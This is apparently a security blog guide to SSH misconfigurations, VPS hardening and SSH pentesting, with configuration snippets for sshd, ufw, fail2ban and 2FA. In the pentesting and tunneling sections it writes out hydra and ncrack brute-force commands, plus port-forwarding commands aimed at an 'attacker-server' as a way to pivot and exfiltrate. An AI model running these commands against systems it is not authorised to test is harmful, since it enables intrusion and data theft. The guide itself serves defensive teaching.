See also: SSH Academy.webp” alt=”SSH security pentesting on virtual private servers” class=”wp-image-2027″ style=”width:100%;height:auto;margin:20px 0″ />
SSH remains the primary remote access protocol for Linux-based VPS deployments, making it one of the most targeted services on the internet. Every day, automated scanners probe millions of IP addresses looking for weak SSH configurations, and a single misconfiguration can give an attacker full root access to your server. This guide covers the most common SSH misconfigurations, practical pentesting scenarios, and a complete hardening checklist to secure your VPS infrastructure.
Common SSH Misconfigurations
Most SSH compromises do not come from zero-day vulnerabilities. They come from administrators leaving default settings in place. Understanding these misconfigurations is the first step toward fixing them.
Password Authentication Enabled
The single most dangerous default setting is allowing password-based authentication. When password auth is enabled, attackers can attempt unlimited brute force attacks. Even moderately complex passwords can fall to dictionary attacks when an attacker has unlimited attempts. The fix is straightforward: disable password authentication and use SSH key pairs exclusively.
Root Login Permitted
Allowing direct root login over SSH means that a successful brute force attack gives the attacker immediate superuser access. Even with key-based auth, root login should be disabled. Instead, authenticate as a regular user and use sudo for privileged operations. This adds an additional layer: even if a user account is compromised, the attacker still needs the sudo password to escalate.
Default Port 22
Port 22 is the most scanned port on the internet. While changing the SSH port is not a security measure by itself, it eliminates the vast majority of automated mass-scanning bots that only check port 22. Combined with fail2ban and key-only auth, a non-standard port significantly reduces noise in your logs and your attack surface.
Weak Key Exchange Algorithms
Older SSH servers may still support weak algorithms like diffie-hellman-group1-sha1 or weak ciphers like 3des-cbc. These can be exploited in man-in-the-middle attacks or downgrade attacks. Regularly audit your SSH configuration with tools like ssh-audit and disable deprecated algorithms.
VPS Hardening Checklist
Securing a VPS requires a systematic approach. Follow this checklist in order, as each step builds on the previous one.
Step 1: Configure SSH Key-Only Authentication
Generate an ED25519 key pair on your local machine:
ssh-keygen -t ed25519 -C "your-email@example.com"Copy the public key to your server:
ssh-copy-id -i ~/.ssh/id_ed25519.pub user@your-vps-ipThen disable password authentication by editing /etc/ssh/sshd_config:
PasswordAuthentication no
PubkeyAuthentication yes
ChallengeResponseAuthentication noStep 2: Disable Root Login
In /etc/ssh/sshd_config:
PermitRootLogin noCreate a non-root user with sudo access first, then test that you can log in and escalate before disabling root login. Getting locked out is the most common mistake during SSH hardening.
Step 3: Change the Default Port
Port 2222 # or any port above 1024Remember to update your firewall rules and any scripts that connect via SSH before restarting the SSH service.
Step 4: Configure UFW Firewall
ufw default deny incoming
ufw default allow outgoing
ufw allow 2222/tcp
# your SSH port
ufw allow 80/tcp
ufw allow 443/tcp
ufw enableAlways allow your SSH port before enabling the firewall. Failing to do so will lock you out of the server.
Step 5: Install and Configure Fail2ban
apt install fail2ban -y
systemctl enable fail2ban
systemctl start fail2banCreate a local configuration file:
[sshd]
enabled = true
port = 2222
filter = sshd
logpath = /var/log/auth.log
maxretry = 3
bantime = 3600
findtime = 600This bans any IP that fails 3 login attempts within 10 minutes for one hour. Adjust these values based on your environment. For production servers, consider increasing the ban time to 86400 seconds (24 hours).
Step 6: Disable Unnecessary Services
systemctl disable avahi-daemon
systemctl disable cups
systemctl disable rpcbindEvery running service is a potential attack vector. Remove anything you do not need.
Step 7: Enable Automatic Security Updates
apt install unattended-upgrades -y
dpkg-reconfigure -plow unattended-upgradesAutomatic security updates ensure that known vulnerabilities are patched promptly without manual intervention.
Pentesting Scenarios for SSH and VPS
When pentesting SSH and VPS infrastructure, several attack scenarios should be evaluated to determine the real-world resilience of the configuration.
Brute Force Attacks
The most common SSH attack is credential brute forcing. Attackers use tools to try thousands of username and password combinations per minute. The primary defense is disabling password auth entirely. When testing, use hydra to verify that the server properly rejects password attempts:
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://target-ip -s 22 -t 4If the server allows password auth, hydra will eventually find weak credentials. This demonstrates why key-only auth is non-negotiable.
Credential Stuffing
When credentials are leaked from other breaches, attackers try them against SSH servers. Unlike brute force, credential stuffing uses known username and password pairs. This attack is effective when password reuse is common and password auth is enabled. The mitigation is the same: disable password authentication and use unique SSH keys.
SSH Key Theft
Even with key-only authentication, the keys themselves can be stolen through compromised client machines, insider threats, or poor key management practices. Defenses include adding a passphrase to private keys, using SSH agent forwarding cautiously, and implementing key rotation policies. Tools like ssh-audit can verify that only strong key types and algorithms are accepted:
ssh-audit target-ipThis reports which algorithms are supported and flags any weak or deprecated ones.
Pentesting Tools for SSH Assessment
Hydra
Hydra is a fast and flexible online password cracking tool. It supports SSH among dozens of other protocols. Use it during assessments to test whether password auth is properly disabled and whether account lockout mechanisms are functioning.
Ncrack
Ncrack, developed by the Nmap project, is a high-speed network authentication cracking tool. It offers better protocol-level understanding than hydra for certain services and supports timing and rate limiting controls that are useful for testing without triggering account lockouts.
ncrack -vv -U users.txt -P passwords.txt ssh://target-ip:22ssh-audit
ssh-audit is a specialized tool for auditing SSH server configuration. It checks supported algorithms, key exchange methods, ciphers, and MACs, and provides recommendations for hardening. It is the go-to tool for algorithm-level SSH assessment.
ssh-audit --no-colors target-ipHardening Commands Summary
Here is a quick reference of the most important hardening commands covered in this guide:
# 1. Generate SSH key (local machine)
ssh-keygen -t ed25519 -C "admin@example.com"
# 2. Copy key to server
ssh-copy-id -i ~/.ssh/id_ed25519.pub user@server-ip
# 3. Harden SSH config
sed -i 's/^#*PasswordAuthentication.*/PasswordAuthentication no/' /etc/ssh/sshd_config
sed -i 's/^#*PermitRootLogin.*/PermitRootLogin no/' /etc/ssh/sshd_config
sed -i 's/^#*Port.*/Port 2222/' /etc/ssh/sshd_config
# 4. Restart SSH
systemctl restart sshd
# 5. Configure firewall
ufw default deny incoming && ufw allow 2222/tcp && ufw allow 80/tcp && ufw allow 443/tcp && ufw enable
# 6. Install fail2ban
apt install fail2ban -y && systemctl enable --now fail2ban
# 7. Audit SSH configuration
ssh-audit localhostApply these changes in order, test SSH access after each modification, and keep a backup session open when making changes to the SSH daemon. A single misconfiguration can lock you out permanently.
SSH Tunneling and Port Forwarding Attacks
One of the most dangerous post-Exploitation Techniques is SSH tunneling. Once an attacker gains shell access to a VPS, they can use it as a pivot point to reach internal services that would otherwise be firewalled off from the internet. This is especially devastating in cloud environments where a single compromised instance can expose an entire private subnet.
Types of SSH Port Forwarding
Local port forwarding forwards a port from the client machine to a remote server through the SSH connection. An attacker on a compromised VPS could reach an internal database like this:
ssh -L 3306:internal-db.private:3306 user@compromised-vpsRemote port forwarding is the inverse — it forwards a port from the remote server back to the attacker’s machine. This is commonly used to expose internal services outbound:
ssh -R 8080:internal-webapp.private:80 user@attacker-serverDynamic port forwarding creates a SOCKS proxy, giving the attacker full routing capability through the compromised host:
ssh -D 9050 user@compromised-vpsOnce the SOCKS tunnel is active, tools like proxychains can route any traffic — nmap scans, browser traffic, exploit payloads — through the compromised VPS as if the attacker were sitting on that network.
Detection and Prevention
To detect tunnel abuse, monitor /var/log/auth.log for sessions with high bandwidth usage or long idle times. Tools like ss -tnp | grep sshd reveal active forwarded connections. To prevent it outright:
# sshd_config
AllowTcpForwarding no
PermitTunnel no
GatewayPorts no
PermitOpen nonePentesting tip: During engagement, test whether the target allows outbound SSH. Many organizations block inbound but forget outbound — an attacker with code execution on an internal server can establish a reverse SSH tunnel to exfiltrate data.
Advanced SSH Hardening
The basic hardening checklist gets you 80% of the way there. For production VPS infrastructure, layer on these advanced controls.
Two-Factor Authentication with Google Authenticator
Require both a key and a TOTP code on every login:
# Install
apt install libpam-google-authenticator
# sshd_config
ChallengeResponseAuthentication yes
KbdInteractiveAuthentication yes
UsePAM yes
# /etc/pam.d/sshd — add BEFORE any auth lines
auth required pam_google_authenticator.so nullokUsers run google-authenticator to generate their secret and add it to an authenticator app. Even with a stolen private key, the attacker can’t log in without the rotating TOTP code.
Fail2ban Recidive Jail and Custom Actions
Beyond the default SSH jail, configure a recidive jail that permanently bans repeat offenders:
# /etc/fail2ban/jail.local
[recidive]
enabled = true
banaction = iptables-multiport[name=recidive, port="all"]
bantime 86400
findtime = 86400
maxretry = 3For real-time alerting, add a custom action that fires on every ban:
# /etc/fail2ban/action.d/slack-notify.conf
[Definition]
actionstart =
actionstop =
actioncheck =
actionban = curl -X POST -H 'Content-type: application/json'
--data '{"text":"Fail2ban: banned <ip> from <name>"}'
https://hooks.slack.com/services/YOUR/WEBHOOK/URL
actionunban =TCP Wrappers and sshguard
TCP wrappers provide a first line of defense before SSH even processes the connection:
# /etc/hosts.deny
sshd: ALL
# /etc/hosts.allow
sshd: 203.0.113.0/24, 198.51.100.10As an alternative to fail2ban, sshguard is lighter weight and uses the system firewall directly. It parses logs from syslog and automatically blocks offending IPs with no complex configuration required.
SSH Key Management Best Practices
Ed25519 vs RSA vs ECDSA
Always generate Ed25519 keys for new deployments. They offer comparable security to RSA-4096 with 256-bit keys, are faster to generate and verify, and resist side-channel attacks better than ECDSA (which relies on NIST curves with lingering trust concerns):
ssh-keygen -t ed25519 -C "ops-team-2026" -f ~/.ssh/id_ed25519SSH Certificates for Teams
Managing individual authorized_keys across dozens of servers doesn’t scale. SSH certificates solve this by introducing a Certificate Authority (CA):
# Generate the CA key (protect this like a root CA)
ssh-keygen -t ed25519 -f ca_key
# Sign a user's public key with a 90-day expiry
ssh-keygen -s ca_key -I "prabhu@ops" -V +90d -n prabhu user_key.pubOn servers, configure sshd_config to trust the CA:
TrustedUserCAKeys /etc/ssh/ca.pub
AuthorizedPrincipalsFile /etc/ssh/auth_principals/%uTo revoke access, create a Key Revocation List (KRL):
ssh-keygen -k -f revoked_keys.krl -s ca_key.pub compromised_key.pub
# sshd_config
RevokedKeys /etc/ssh/revoked_keys.krlImplement a key rotation policy: rotate Ed25519 keys every 90–180 days, and maintain an inventory of all active keys with their expiry dates.
Monitoring and Logging
What to Log and How to Analyze It
SSH authentication events land in /var/log/auth.log (Debian/Ubuntu) or /var/log/secure (RHEL/CentOS). Key signals to monitor:
- Failed logins per minute — spikes indicate brute force attacks
- Login timestamps — off-hours logins from non-ops IPs warrant investigation
- GeoIP anomalies — a user logging in from two continents within minutes is a red flag
- Session duration — unusually long idle sessions suggest abandoned or compromised sessions
For centralized analysis, pipe SSH logs into the ELK stack (Elasticsearch, Logstash, Kibana). A Filebeat shipper on each VPS forwards logs to Logstash, which parses and indexes them. Build Kibana dashboards for login success/failure rates, geographic distribution, and anomalous timing patterns.
File Integrity Monitoring with OSSEC
Deploy OSSEC to monitor /etc/ssh/sshd_config, /etc/ssh/authorized_keys, and /etc/hosts.allow for unauthorized changes. Any modification triggers an immediate alert — if an attacker modifies your SSH configuration to re-enable root login or weaken ciphers, you’ll know within seconds.
Top 10 SSH Pentesting Findings
These issues appear consistently across real-world penetration tests:
- Weak ciphers enabled — 3DES, CBC-mode ciphers, or arcfour still accepted. Fix with
Ciphers chacha20-poly1305@openssh.com,aes256-gcm@openssh.com. - Idle timeout not configured — sessions persist indefinitely. Set
ClientAliveInterval 300andClientAliveCountMax 2. - SSH banner disclosure — the default banner leaks the OpenSSH version. Set
DebianBanner noor patch the source. - X11 forwarding enabled — unnecessary attack surface. Disable with
X11Forwarding no. - Agent forwarding abuse — forwardable agents let attackers use the user’s keys on remote hosts. Disable with
ForwardAgent no. - SFTP chroot misconfigurations — improper
ChrootDirectorysettings allow directory traversal. Always chroot to a root-owned directory. - authorized_keys permissions too open — must be
600, and~/.sshmust be700. Anything wider is ignored by newer OpenSSH versions but older ones still honor it. - MaxAuthTries too high — the default of 6 is generous. Set
MaxAuthTries 3. - Root login with a weak key — root login should be disabled entirely (
PermitRootLogin no). If required, use a certificate-based approach, never a password. - No MOTD or legal banner — no warning banner means no legal recourse for unauthorized access attempts. Configure
Banner /etc/issue.netwith a proper legal notice.
Continue Reading
Stay ahead of evolving threats with our in-depth security analyses. Each guide provides practical, actionable insights for defenders and engineers working to protect modern software systems:
- MCP Security and Pentesting: Model Context Protocol Deep Dive – Securing AI tool integration through the Model Context Protocol
- – Evolution of ransomware tactics and the gaps in defensive strategies
- software supply chain security: Dependencies, Builds, and Secrets – The risks hidden in dependencies, build pipelines, and secrets management
Conclusion
SSH and VPS security form the foundation of any infrastructure pentesting engagement. From brute-force attacks to tunneling techniques, understanding these attack vectors is essential for both offensive security testing and defensive hardening. Regular audits, key management best practices, and proper firewall configuration will significantly reduce your attack surface. SSH security is not optional for any internet-facing VPS. The combination of key-only authentication, disabled root login, a non-standard port, a properly configured firewall, and fail2ban provides robust protection against the vast majority of automated and targeted SSH attacks. For pentesters, understanding these configurations and the tools to test them is essential for delivering meaningful security assessments. The goal is not just to find weaknesses but to verify that the hardening measures actually work under realistic attack conditions. Always test your hardening measures in a controlled environment before applying them to production systems.
Reference: CIS Benchmarks

